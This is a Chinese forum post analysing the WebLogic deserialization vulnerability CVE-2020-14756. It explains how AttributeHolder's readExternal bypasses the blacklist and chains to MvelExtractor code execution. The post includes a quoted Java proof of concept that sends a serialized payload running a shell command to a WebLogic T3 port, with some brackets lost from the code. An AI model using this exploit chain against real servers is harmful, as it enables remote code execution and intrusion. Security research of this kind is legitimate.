巴拉巴

 找回密码
 立即注册

站内搜索

搜索
热搜: 活动 交友 discuz
查看: 47|回复: 0

Weblogic源码学习,利用readExternal绕过readObject黑名单的检验

[复制链接]

3

主题

3

帖子

9

积分

新手上路

Rank: 1

积分
9
发表于 2023-1-25 22:38:56 | 显示全部楼层 |阅读模式
这个CVE的利用方式,主要是通过找到了一个类,com.tangosol.coherence.servlet.AttributeHolder,其实现了一个接口为Externalizable,且同时实现了接口Serializable, 能够进行反序列化操作。
其中实现了readExternal / writeExternal两个方法,
实现了自己的序列化和反序列化逻辑,在进行序列化的时候,将会调用ExternalizableHelper.writeObject方法,将该类的m_oValue对象值进行序列化,
而在其对应的反序列化操作调用readExternal方法的时间,将会调用ExternaliableHelper.readObject方法进行反序列化,
通过这种自定义序列化和反序列化的方式,绕过了在readObject调用过程中的黑名单校验。
接着前面提到的该CVE的source点是com.tangosol.coherence.servlet.AttributeHolder类,我们详细看看为什么要使用该类作为source点,
该类的反序列化过程中因为该类是不存在于weblogic的黑名单中的,是可以进行反序列化操作的,在其反序列化的过程中。
调用栈:
readOrdinaryObject:2069, ObjectInputStream (java.io)readObject0:1573, ObjectInputStream (java.io)readObject:431, ObjectInputStream (java.io)在调用readOrdinaryObject方法的过程中,存在有一个判断,
这里,如果需要反序列化的类是实现了Externaliable接口的话,将会调用readExternalData方法进行反序列化操作。
自然而然的将会调用对应类的readExternal方法进行反序列化。
该CVE最终的sink是在com.tangosol.coherence.rest.util.extractor.MvelExtractor类中。
该类是一个实现了ExternalizableLite接口的类,那么这个接口有什么用吗?
如果在反序列化的过程中,该类实现了这个接口,并且实现了对应的readExternal方法,将会调用该方法进行反序列化。
前面明白了实现Externalizable接口为什么可以调用readExternal方法进行反序列化操作,接下来我们同样看看实现了ExternalizableLite接口为什么也能够调用readExternal方法进行反序列化操作。
这里就拿前面提到的source点举个例子。
在其readExternal的调用中,
存在有ExternalizableHelper#readObject方法的调用,
进而存在有readObjectInternal方法的调用,
这里是通过switch-case语句判断nType的值来决定不同的操作。
nType的来源是哪里呢?
主要的代码逻辑是在ExternalizableHelper#writeObject方法中。
这里是通过调用getStreamFormat方法获取nType的值,之后调用writebyte将其序列化,并且通过得到的值进行对应的序列化操作,
来看看getStreamFormat方法的逻辑
public static int getStreamFormat(Object o) {return o == null ? 0 : (o instanceof String ? 6 : (o instanceof Number ? (o instanceof Integer ? 1 : (o instanceof Long ? 2 : (o instanceof Double ? 3 : (o instanceof BigInteger ? 4 : (o instanceof BigDecimal ? 5 : (o instanceof Float ? 14 : (o instanceof Short ? 15 : (o instanceof Byte ? 16 : 11)))))))) : (o instanceof byte ? 8 : (o instanceof ReadBuffer ? 7 : (o instanceof XmlBean ? 12 : (o instanceof ExternalizableHelper.IntDecoratedObject ? 13 : (o instanceof ExternalizableLite ? 10 : (o instanceof Boolean ? 17 : (o instanceof Serializable ? 11 : (o instanceof Optional ? 22 : (o instanceof OptionalInt ? 23 : (o instanceof OptionalLong ? 24 : (o instanceof OptionalDouble ? 25 : (o instanceof XmlSerializable ? 9 : 255))))))))))))));}其中如果序列化的类实现了ExternalizableLite接口的,将会为nType赋值为10。
以上就是nType值得出处,
回到反序列化的switch-case语句的逻辑中,
如果nType的值是10的话,将会调用readExternalizableLite继续进行操作。
而在对应方法中,将会调用loadClass方法进行目标类的加载,之后在后面进行了readExternal方法的调用。
以上,就是为什么实现了ExternalizableLite接口的类,在反序列化的过程中将会调用对应类的readExternal方法。
之后我们回到前面提及到的sink点,也即是MvelExtractor类,
在这个类的extract方法中,能够进行MVEL表达式的执行,
其中因为属性m_sExpr是可控的,所以只需要能够执行其extract方法,也就能达到我们的目的。
根据以前的CVE分析知识,我们能够知道在AbstractExtractor#compare方法中是能够调用自身类的extract方法的,
而sink点也是继承了这个类的,所以我们只需要能够触发他的compare方法也即能达到目的,
这里作者是寻找到了com.tangosol.util.aggregator.TopNAggregator.PartialResult这个类。
这个类是实现了ExternalizableLite接口的,所以在反序列化的过程中会调用他的readExternal方法。
这里将反序列化得到的m_comparator属性值传递给instantiateInternalMap方法。
创建了一个TreeMap对象并返回,
之后在for循环中调用add方法将会触发对应的put方法,最终将会导致compare方法的调用,达到我们的目的。
之后我们的目标就变成了调用com.tangosol.util.aggregator.TopNAggregator.PartialResult类的readExternal方法,
单纯的反序列化这个类并不能够触发该方法的调用,我们还需要寻找一个桥接。
因为该类是没有实现Externalizable接口的,并不能在readObject的调用过程中触发readExternal方法。
这里主要是依靠前面提到的source点,也即是AttributeHolder类来进行了中转
因为该类不仅是实现了Externalizable接口,
同时在readExternal方法的调用过程中调用了ExternalizableHelper.readObject进行反序列化。
经过上面的分析,一条完整的链子就形成了。
借用Y4er的POC
public class CVE_2020_14756 {public static void main(String args) {MvelExtractor extractor = new MvelExtractor("java.lang.Runtime.getRuntime.exec(\"touch /tmp/14756\");");MvelExtractor extractor2 = new MvelExtractor("");try {SortedBag sortedBag = new TopNAggregator.PartialResult(extractor2, 2);AttributeHolder attributeHolder = new AttributeHolder;sortedBag.add(1);Field m_comparator = sortedBag.getClass.getSuperclass.getDeclaredField("m_comparator");m_comparator.setAccessible(true);m_comparator.set(sortedBag, extractor);Method setInternalValue = attributeHolder.getClass.getDeclaredMethod("setInternalValue", Object.class);setInternalValue.setAccessible(true);setInternalValue.invoke(attributeHolder, sortedBag);T3ProtocolOperation.send("192.168.153.136", "7001", Serializables.serialize(attributeHolder));} catch (Exception e) {e.printStackTrace;}}}在我使用12.1.3搭建的环境进行复现过程中,使用上面的POC进行利用,并不能够利用成功。
来看看报错
不能够加载MvelExtractor这个类,但是可以通过寻找其他的替带类类解决这个问题。
调用栈findClass:361, URLClassLoader (java.net)loadClass:424, ClassLoader (java.lang)loadClass:411, ClassLoader (java.lang)loadClass:331, Launcher$AppClassLoader (sun.misc)loadClass:357, ClassLoader (java.lang)forName0:-1, Class (java.lang)forName:348, Class (java.lang)loadClass:3367, ExternalizableHelper (com.tangosol.util)readExternalizableLite:2111, ExternalizableHelper (com.tangosol.util)readObjectInternal:2443, ExternalizableHelper (com.tangosol.util)readObject:2389, ExternalizableHelper (com.tangosol.util)readObject:2368, ExternalizableHelper (com.tangosol.util)readExternal:274, TopNAggregator$PartialResult (com.tangosol.util.aggregator)readExternalizableLite:2139, ExternalizableHelper (com.tangosol.util)readObjectInternal:2443, ExternalizableHelper (com.tangosol.util)readObject:2389, ExternalizableHelper (com.tangosol.util)readObject:2368, ExternalizableHelper (com.tangosol.util)readExternal:406, AttributeHolder (com.tangosol.coherence.servlet)readExternal:371, AttributeHolder (com.tangosol.coherence.servlet)readExternalData:2062, ObjectInputStream (java.io)readOrdinaryObject:2011, ObjectInputStream (java.io)readObject0:1535, ObjectInputStream (java.io)readObject:422, ObjectInputStream (java.io)readObject:67, InboundMsgAbbrev (weblogic.rjvm)
来源:http://www.yidianzixun.com/article/0lqYVQhD
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

  • 返回顶部